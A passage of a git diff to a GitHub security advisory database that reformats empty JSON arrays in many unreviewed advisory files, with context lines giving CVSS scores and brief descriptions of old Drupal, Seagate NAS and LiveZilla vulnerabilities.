"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-4cr9-4h97-68ff/GHSA-4cr9-4h97-68ff.json b/advisories/unreviewed/2022/03/GHSA-4cr9-4h97-68ff/GHSA-4cr9-4h97-68ff.json index b2aa79bf82b..f71dea46acc 100644 --- a/advisories/unreviewed/2022/03/GHSA-4cr9-4h97-68ff/GHSA-4cr9-4h97-68ff.json +++ b/advisories/unreviewed/2022/03/GHSA-4cr9-4h97-68ff/GHSA-4cr9-4h97-68ff.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-6vh7-7h6m-h6fv/GHSA-6vh7-7h6m-h6fv.json b/advisories/unreviewed/2022/03/GHSA-6vh7-7h6m-h6fv/GHSA-6vh7-7h6m-h6fv.json index f19c1b0f330..297098180a1 100644 --- a/advisories/unreviewed/2022/03/GHSA-6vh7-7h6m-h6fv/GHSA-6vh7-7h6m-h6fv.json +++ b/advisories/unreviewed/2022/03/GHSA-6vh7-7h6m-h6fv/GHSA-6vh7-7h6m-h6fv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-8645-v7wf-jmfg/GHSA-8645-v7wf-jmfg.json b/advisories/unreviewed/2022/03/GHSA-8645-v7wf-jmfg/GHSA-8645-v7wf-jmfg.json index 5f76e589dc5..1ba251d91da 100644 --- a/advisories/unreviewed/2022/03/GHSA-8645-v7wf-jmfg/GHSA-8645-v7wf-jmfg.json +++ b/advisories/unreviewed/2022/03/GHSA-8645-v7wf-jmfg/GHSA-8645-v7wf-jmfg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-9jrh-x229-v96c/GHSA-9jrh-x229-v96c.json b/advisories/unreviewed/2022/03/GHSA-9jrh-x229-v96c/GHSA-9jrh-x229-v96c.json index 2137b384569..a228cbf7224 100644 --- a/advisories/unreviewed/2022/03/GHSA-9jrh-x229-v96c/GHSA-9jrh-x229-v96c.json +++ b/advisories/unreviewed/2022/03/GHSA-9jrh-x229-v96c/GHSA-9jrh-x229-v96c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-cqh2-qvg6-wwch/GHSA-cqh2-qvg6-wwch.json b/advisories/unreviewed/2022/03/GHSA-cqh2-qvg6-wwch/GHSA-cqh2-qvg6-wwch.json index 9a007b23a16..ff8d370d2ba 100644 --- a/advisories/unreviewed/2022/03/GHSA-cqh2-qvg6-wwch/GHSA-cqh2-qvg6-wwch.json +++ b/advisories/unreviewed/2022/03/GHSA-cqh2-qvg6-wwch/GHSA-cqh2-qvg6-wwch.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-cqqj-66gg-vpc8/GHSA-cqqj-66gg-vpc8.json b/advisories/unreviewed/2022/03/GHSA-cqqj-66gg-vpc8/GHSA-cqqj-66gg-vpc8.json index 4f8080dbd31..4a5839c9f0b 100644 --- a/advisories/unreviewed/2022/03/GHSA-cqqj-66gg-vpc8/GHSA-cqqj-66gg-vpc8.json +++ b/advisories/unreviewed/2022/03/GHSA-cqqj-66gg-vpc8/GHSA-cqqj-66gg-vpc8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-cqwp-px3c-6wvv/GHSA-cqwp-px3c-6wvv.json b/advisories/unreviewed/2022/03/GHSA-cqwp-px3c-6wvv/GHSA-cqwp-px3c-6wvv.json index 8def8de4046..6dd64c95cb4 100644 --- a/advisories/unreviewed/2022/03/GHSA-cqwp-px3c-6wvv/GHSA-cqwp-px3c-6wvv.json +++ b/advisories/unreviewed/2022/03/GHSA-cqwp-px3c-6wvv/GHSA-cqwp-px3c-6wvv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-g2fr-rq52-c2h3/GHSA-g2fr-rq52-c2h3.json b/advisories/unreviewed/2022/03/GHSA-g2fr-rq52-c2h3/GHSA-g2fr-rq52-c2h3.json index ab940c6ee75..9ae01d0b059 100644 --- a/advisories/unreviewed/2022/03/GHSA-g2fr-rq52-c2h3/GHSA-g2fr-rq52-c2h3.json +++ b/advisories/unreviewed/2022/03/GHSA-g2fr-rq52-c2h3/GHSA-g2fr-rq52-c2h3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "WEB", diff --git a/advisories/unreviewed/2022/03/GHSA-h3fp-pvj7-r9g9/GHSA-h3fp-pvj7-r9g9.json b/advisories/unreviewed/2022/03/GHSA-h3fp-pvj7-r9g9/GHSA-h3fp-pvj7-r9g9.json index d3cbfdab452..c0dc0428ce8 100644 --- a/advisories/unreviewed/2022/03/GHSA-h3fp-pvj7-r9g9/GHSA-h3fp-pvj7-r9g9.json +++ b/advisories/unreviewed/2022/03/GHSA-h3fp-pvj7-r9g9/GHSA-h3fp-pvj7-r9g9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-hx7r-c7p3-rhvg/GHSA-hx7r-c7p3-rhvg.json b/advisories/unreviewed/2022/03/GHSA-hx7r-c7p3-rhvg/GHSA-hx7r-c7p3-rhvg.json index ab143d41005..0fa34ac57b3 100644 --- a/advisories/unreviewed/2022/03/GHSA-hx7r-c7p3-rhvg/GHSA-hx7r-c7p3-rhvg.json +++ b/advisories/unreviewed/2022/03/GHSA-hx7r-c7p3-rhvg/GHSA-hx7r-c7p3-rhvg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-j2j9-q584-w248/GHSA-j2j9-q584-w248.json b/advisories/unreviewed/2022/03/GHSA-j2j9-q584-w248/GHSA-j2j9-q584-w248.json index 32079c0126b..3276899c0b4 100644 --- a/advisories/unreviewed/2022/03/GHSA-j2j9-q584-w248/GHSA-j2j9-q584-w248.json +++ b/advisories/unreviewed/2022/03/GHSA-j2j9-q584-w248/GHSA-j2j9-q584-w248.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-jhr6-2mvq-5rfv/GHSA-jhr6-2mvq-5rfv.json b/advisories/unreviewed/2022/03/GHSA-jhr6-2mvq-5rfv/GHSA-jhr6-2mvq-5rfv.json index dee38d7e6e8..e5889d7544c 100644 --- a/advisories/unreviewed/2022/03/GHSA-jhr6-2mvq-5rfv/GHSA-jhr6-2mvq-5rfv.json +++ b/advisories/unreviewed/2022/03/GHSA-jhr6-2mvq-5rfv/GHSA-jhr6-2mvq-5rfv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-m898-7pmc-9h9g/GHSA-m898-7pmc-9h9g.json b/advisories/unreviewed/2022/03/GHSA-m898-7pmc-9h9g/GHSA-m898-7pmc-9h9g.json index 9e742c31389..fa5f52e29ec 100644 --- a/advisories/unreviewed/2022/03/GHSA-m898-7pmc-9h9g/GHSA-m898-7pmc-9h9g.json +++ b/advisories/unreviewed/2022/03/GHSA-m898-7pmc-9h9g/GHSA-m898-7pmc-9h9g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-m8h3-gg3g-557q/GHSA-m8h3-gg3g-557q.json b/advisories/unreviewed/2022/03/GHSA-m8h3-gg3g-557q/GHSA-m8h3-gg3g-557q.json index e5e8112d512..119611ad76f 100644 --- a/advisories/unreviewed/2022/03/GHSA-m8h3-gg3g-557q/GHSA-m8h3-gg3g-557q.json +++ b/advisories/unreviewed/2022/03/GHSA-m8h3-gg3g-557q/GHSA-m8h3-gg3g-557q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-q8rg-c9v7-62r5/GHSA-q8rg-c9v7-62r5.json b/advisories/unreviewed/2022/03/GHSA-q8rg-c9v7-62r5/GHSA-q8rg-c9v7-62r5.json index df7dd7757e0..6f448bb259b 100644 --- a/advisories/unreviewed/2022/03/GHSA-q8rg-c9v7-62r5/GHSA-q8rg-c9v7-62r5.json +++ b/advisories/unreviewed/2022/03/GHSA-q8rg-c9v7-62r5/GHSA-q8rg-c9v7-62r5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-qg8w-fqf6-rhhv/GHSA-qg8w-fqf6-rhhv.json b/advisories/unreviewed/2022/03/GHSA-qg8w-fqf6-rhhv/GHSA-qg8w-fqf6-rhhv.json index 44b851a60b9..5f330f67020 100644 --- a/advisories/unreviewed/2022/03/GHSA-qg8w-fqf6-rhhv/GHSA-qg8w-fqf6-rhhv.json +++ b/advisories/unreviewed/2022/03/GHSA-qg8w-fqf6-rhhv/GHSA-qg8w-fqf6-rhhv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-qv5f-mjfm-9qv7/GHSA-qv5f-mjfm-9qv7.json b/advisories/unreviewed/2022/03/GHSA-qv5f-mjfm-9qv7/GHSA-qv5f-mjfm-9qv7.json index 42e5e374a2e..dc160c2fc18 100644 --- a/advisories/unreviewed/2022/03/GHSA-qv5f-mjfm-9qv7/GHSA-qv5f-mjfm-9qv7.json +++ b/advisories/unreviewed/2022/03/GHSA-qv5f-mjfm-9qv7/GHSA-qv5f-mjfm-9qv7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-rvqv-8jgg-972g/GHSA-rvqv-8jgg-972g.json b/advisories/unreviewed/2022/03/GHSA-rvqv-8jgg-972g/GHSA-rvqv-8jgg-972g.json index 06eb54cc8d8..a041849766b 100644 --- a/advisories/unreviewed/2022/03/GHSA-rvqv-8jgg-972g/GHSA-rvqv-8jgg-972g.json +++ b/advisories/unreviewed/2022/03/GHSA-rvqv-8jgg-972g/GHSA-rvqv-8jgg-972g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-rw7m-53x4-4gv3/GHSA-rw7m-53x4-4gv3.json b/advisories/unreviewed/2022/03/GHSA-rw7m-53x4-4gv3/GHSA-rw7m-53x4-4gv3.json index e49b95ffdb7..0b7793bc09a 100644 --- a/advisories/unreviewed/2022/03/GHSA-rw7m-53x4-4gv3/GHSA-rw7m-53x4-4gv3.json +++ b/advisories/unreviewed/2022/03/GHSA-rw7m-53x4-4gv3/GHSA-rw7m-53x4-4gv3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-rxxg-mr54-7x32/GHSA-rxxg-mr54-7x32.json b/advisories/unreviewed/2022/03/GHSA-rxxg-mr54-7x32/GHSA-rxxg-mr54-7x32.json index 5a0d2e71454..43343d23103 100644 --- a/advisories/unreviewed/2022/03/GHSA-rxxg-mr54-7x32/GHSA-rxxg-mr54-7x32.json +++ b/advisories/unreviewed/2022/03/GHSA-rxxg-mr54-7x32/GHSA-rxxg-mr54-7x32.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-w3j8-c7p6-2c9w/GHSA-w3j8-c7p6-2c9w.json b/advisories/unreviewed/2022/03/GHSA-w3j8-c7p6-2c9w/GHSA-w3j8-c7p6-2c9w.json index 1e9cee659cb..a55c3291421 100644 --- a/advisories/unreviewed/2022/03/GHSA-w3j8-c7p6-2c9w/GHSA-w3j8-c7p6-2c9w.json +++ b/advisories/unreviewed/2022/03/GHSA-w3j8-c7p6-2c9w/GHSA-w3j8-c7p6-2c9w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-w75g-xq4m-m4w4/GHSA-w75g-xq4m-m4w4.json b/advisories/unreviewed/2022/03/GHSA-w75g-xq4m-m4w4/GHSA-w75g-xq4m-m4w4.json index 1066296db67..84a24806ae6 100644 --- a/advisories/unreviewed/2022/03/GHSA-w75g-xq4m-m4w4/GHSA-w75g-xq4m-m4w4.json +++ b/advisories/unreviewed/2022/03/GHSA-w75g-xq4m-m4w4/GHSA-w75g-xq4m-m4w4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-x5p6-v8jc-c232/GHSA-x5p6-v8jc-c232.json b/advisories/unreviewed/2022/03/GHSA-x5p6-v8jc-c232/GHSA-x5p6-v8jc-c232.json index 5947bf4aa68..d8572da0095 100644 --- a/advisories/unreviewed/2022/03/GHSA-x5p6-v8jc-c232/GHSA-x5p6-v8jc-c232.json +++ b/advisories/unreviewed/2022/03/GHSA-x5p6-v8jc-c232/GHSA-x5p6-v8jc-c232.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-xj8f-g7hp-3hcv/GHSA-xj8f-g7hp-3hcv.json b/advisories/unreviewed/2022/03/GHSA-xj8f-g7hp-3hcv/GHSA-xj8f-g7hp-3hcv.json index dabe5337b1d..d9872351ead 100644 --- a/advisories/unreviewed/2022/03/GHSA-xj8f-g7hp-3hcv/GHSA-xj8f-g7hp-3hcv.json +++ b/advisories/unreviewed/2022/03/GHSA-xj8f-g7hp-3hcv/GHSA-xj8f-g7hp-3hcv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-xpr2-v3gx-4h93/GHSA-xpr2-v3gx-4h93.json b/advisories/unreviewed/2022/03/GHSA-xpr2-v3gx-4h93/GHSA-xpr2-v3gx-4h93.json index 1b8ab04e4e6..9f09f69f57b 100644 --- a/advisories/unreviewed/2022/03/GHSA-xpr2-v3gx-4h93/GHSA-xpr2-v3gx-4h93.json +++ b/advisories/unreviewed/2022/03/GHSA-xpr2-v3gx-4h93/GHSA-xpr2-v3gx-4h93.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-xwfg-xc9j-v55c/GHSA-xwfg-xc9j-v55c.json b/advisories/unreviewed/2022/03/GHSA-xwfg-xc9j-v55c/GHSA-xwfg-xc9j-v55c.json index 9adff89f9b9..e0fe3ca5eb7 100644 --- a/advisories/unreviewed/2022/03/GHSA-xwfg-xc9j-v55c/GHSA-xwfg-xc9j-v55c.json +++ b/advisories/unreviewed/2022/03/GHSA-xwfg-xc9j-v55c/GHSA-xwfg-xc9j-v55c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-3q56-mvp8-x9j4/GHSA-3q56-mvp8-x9j4.json b/advisories/unreviewed/2022/04/GHSA-3q56-mvp8-x9j4/GHSA-3q56-mvp8-x9j4.json index 7f41fcf3687..27034eae1ee 100644 --- a/advisories/unreviewed/2022/04/GHSA-3q56-mvp8-x9j4/GHSA-3q56-mvp8-x9j4.json +++ b/advisories/unreviewed/2022/04/GHSA-3q56-mvp8-x9j4/GHSA-3q56-mvp8-x9j4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-453x-fr3c-fmj5/GHSA-453x-fr3c-fmj5.json b/advisories/unreviewed/2022/04/GHSA-453x-fr3c-fmj5/GHSA-453x-fr3c-fmj5.json index f9882abf948..d9d21508981 100644 --- a/advisories/unreviewed/2022/04/GHSA-453x-fr3c-fmj5/GHSA-453x-fr3c-fmj5.json +++ b/advisories/unreviewed/2022/04/GHSA-453x-fr3c-fmj5/GHSA-453x-fr3c-fmj5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-5795-qv38-9394/GHSA-5795-qv38-9394.json b/advisories/unreviewed/2022/04/GHSA-5795-qv38-9394/GHSA-5795-qv38-9394.json index a583e2eb114..5e24ee49955 100644 --- a/advisories/unreviewed/2022/04/GHSA-5795-qv38-9394/GHSA-5795-qv38-9394.json +++ b/advisories/unreviewed/2022/04/GHSA-5795-qv38-9394/GHSA-5795-qv38-9394.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-7p2m-7xhq-7v45/GHSA-7p2m-7xhq-7v45.json b/advisories/unreviewed/2022/04/GHSA-7p2m-7xhq-7v45/GHSA-7p2m-7xhq-7v45.json index 89144610d11..b8eca0c7e5d 100644 --- a/advisories/unreviewed/2022/04/GHSA-7p2m-7xhq-7v45/GHSA-7p2m-7xhq-7v45.json +++ b/advisories/unreviewed/2022/04/GHSA-7p2m-7xhq-7v45/GHSA-7p2m-7xhq-7v45.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-899x-jhm8-pc3m/GHSA-899x-jhm8-pc3m.json b/advisories/unreviewed/2022/04/GHSA-899x-jhm8-pc3m/GHSA-899x-jhm8-pc3m.json index 06119d3f84f..1143018592a 100644 --- a/advisories/unreviewed/2022/04/GHSA-899x-jhm8-pc3m/GHSA-899x-jhm8-pc3m.json +++ b/advisories/unreviewed/2022/04/GHSA-899x-jhm8-pc3m/GHSA-899x-jhm8-pc3m.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-98fc-8mvh-6qgf/GHSA-98fc-8mvh-6qgf.json b/advisories/unreviewed/2022/04/GHSA-98fc-8mvh-6qgf/GHSA-98fc-8mvh-6qgf.json index 7c73ff4bfcc..0a1e6ffadb8 100644 --- a/advisories/unreviewed/2022/04/GHSA-98fc-8mvh-6qgf/GHSA-98fc-8mvh-6qgf.json +++ b/advisories/unreviewed/2022/04/GHSA-98fc-8mvh-6qgf/GHSA-98fc-8mvh-6qgf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-c2qg-8333-fg94/GHSA-c2qg-8333-fg94.json b/advisories/unreviewed/2022/04/GHSA-c2qg-8333-fg94/GHSA-c2qg-8333-fg94.json index 1cd3f9f6894..477b76ab7e3 100644 --- a/advisories/unreviewed/2022/04/GHSA-c2qg-8333-fg94/GHSA-c2qg-8333-fg94.json +++ b/advisories/unreviewed/2022/04/GHSA-c2qg-8333-fg94/GHSA-c2qg-8333-fg94.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-cx2h-jfxr-vw9c/GHSA-cx2h-jfxr-vw9c.json b/advisories/unreviewed/2022/04/GHSA-cx2h-jfxr-vw9c/GHSA-cx2h-jfxr-vw9c.json index a429e812204..4c897d3fe37 100644 --- a/advisories/unreviewed/2022/04/GHSA-cx2h-jfxr-vw9c/GHSA-cx2h-jfxr-vw9c.json +++ b/advisories/unreviewed/2022/04/GHSA-cx2h-jfxr-vw9c/GHSA-cx2h-jfxr-vw9c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-hmpx-mhc7-wxwr/GHSA-hmpx-mhc7-wxwr.json b/advisories/unreviewed/2022/04/GHSA-hmpx-mhc7-wxwr/GHSA-hmpx-mhc7-wxwr.json index 4cd998f2cc6..ee5c6e66320 100644 --- a/advisories/unreviewed/2022/04/GHSA-hmpx-mhc7-wxwr/GHSA-hmpx-mhc7-wxwr.json +++ b/advisories/unreviewed/2022/04/GHSA-hmpx-mhc7-wxwr/GHSA-hmpx-mhc7-wxwr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-vv2m-p3gp-w7p3/GHSA-vv2m-p3gp-w7p3.json b/advisories/unreviewed/2022/04/GHSA-vv2m-p3gp-w7p3/GHSA-vv2m-p3gp-w7p3.json index 54d5b57630b..347d0cfd409 100644 --- a/advisories/unreviewed/2022/04/GHSA-vv2m-p3gp-w7p3/GHSA-vv2m-p3gp-w7p3.json +++ b/advisories/unreviewed/2022/04/GHSA-vv2m-p3gp-w7p3/GHSA-vv2m-p3gp-w7p3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-w2p9-865g-3w64/GHSA-w2p9-865g-3w64.json b/advisories/unreviewed/2022/04/GHSA-w2p9-865g-3w64/GHSA-w2p9-865g-3w64.json index e59a60ed00d..80471f59721 100644 --- a/advisories/unreviewed/2022/04/GHSA-w2p9-865g-3w64/GHSA-w2p9-865g-3w64.json +++ b/advisories/unreviewed/2022/04/GHSA-w2p9-865g-3w64/GHSA-w2p9-865g-3w64.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/04/GHSA-w9rq-3vf7-8x57/GHSA-w9rq-3vf7-8x57.json b/advisories/unreviewed/2022/04/GHSA-w9rq-3vf7-8x57/GHSA-w9rq-3vf7-8x57.json index cb9007282c3..fd762756696 100644 --- a/advisories/unreviewed/2022/04/GHSA-w9rq-3vf7-8x57/GHSA-w9rq-3vf7-8x57.json +++ b/advisories/unreviewed/2022/04/GHSA-w9rq-3vf7-8x57/GHSA-w9rq-3vf7-8x57.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-222h-9c7q-5wm5/GHSA-222h-9c7q-5wm5.json b/advisories/unreviewed/2022/05/GHSA-222h-9c7q-5wm5/GHSA-222h-9c7q-5wm5.json index 23cf0f16458..3d6f4befd98 100644 --- a/advisories/unreviewed/2022/05/GHSA-222h-9c7q-5wm5/GHSA-222h-9c7q-5wm5.json +++ b/advisories/unreviewed/2022/05/GHSA-222h-9c7q-5wm5/GHSA-222h-9c7q-5wm5.json @@ -7,12 +7,8 @@ "CVE-2013-4230" ], "details": "The mm_webform submodule in the Monster Menus module 6.x-6.x before 6.x-6.61 and 7.x-1.x before 7.x-1.13 for Drupal does not properly restrict access to webform submissions, which allows remote authenticated users with the \"Who can read data submitted to this webform\" permission to delete arbitrary submissions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-22m9-22wm-6qxh/GHSA-22m9-22wm-6qxh.json b/advisories/unreviewed/2022/05/GHSA-22m9-22wm-6qxh/GHSA-22m9-22wm-6qxh.json index 495a5e73206..aae948ff7c6 100644 --- a/advisories/unreviewed/2022/05/GHSA-22m9-22wm-6qxh/GHSA-22m9-22wm-6qxh.json +++ b/advisories/unreviewed/2022/05/GHSA-22m9-22wm-6qxh/GHSA-22m9-22wm-6qxh.json @@ -7,12 +7,8 @@ "CVE-2013-6923" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in Seagate BlackArmor NAS 220 devices with firmware sg2000-2000.1331 allow remote attackers to inject arbitrary web script or HTML via the (1) fullname parameter to admin/access_control_user_edit.php or (2) workname parameter to admin/network_workgroup_domain.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-22mf-wg7m-839j/GHSA-22mf-wg7m-839j.json b/advisories/unreviewed/2022/05/GHSA-22mf-wg7m-839j/GHSA-22mf-wg7m-839j.json index 557d5051d10..333f38d93bb 100644 --- a/advisories/unreviewed/2022/05/GHSA-22mf-wg7m-839j/GHSA-22mf-wg7m-839j.json +++ b/advisories/unreviewed/2022/05/GHSA-22mf-wg7m-839j/GHSA-22mf-wg7m-839j.json @@ -7,12 +7,8 @@ "CVE-2013-7032" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the web based operator client in LiveZilla before 5.1.2.1 allow remote attackers to inject arbitrary web script or HTML via the (1) name of an uploaded file or (2) customer name in a resource created from an uploaded file, a different vulnerability than CVE-2013-7003.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + 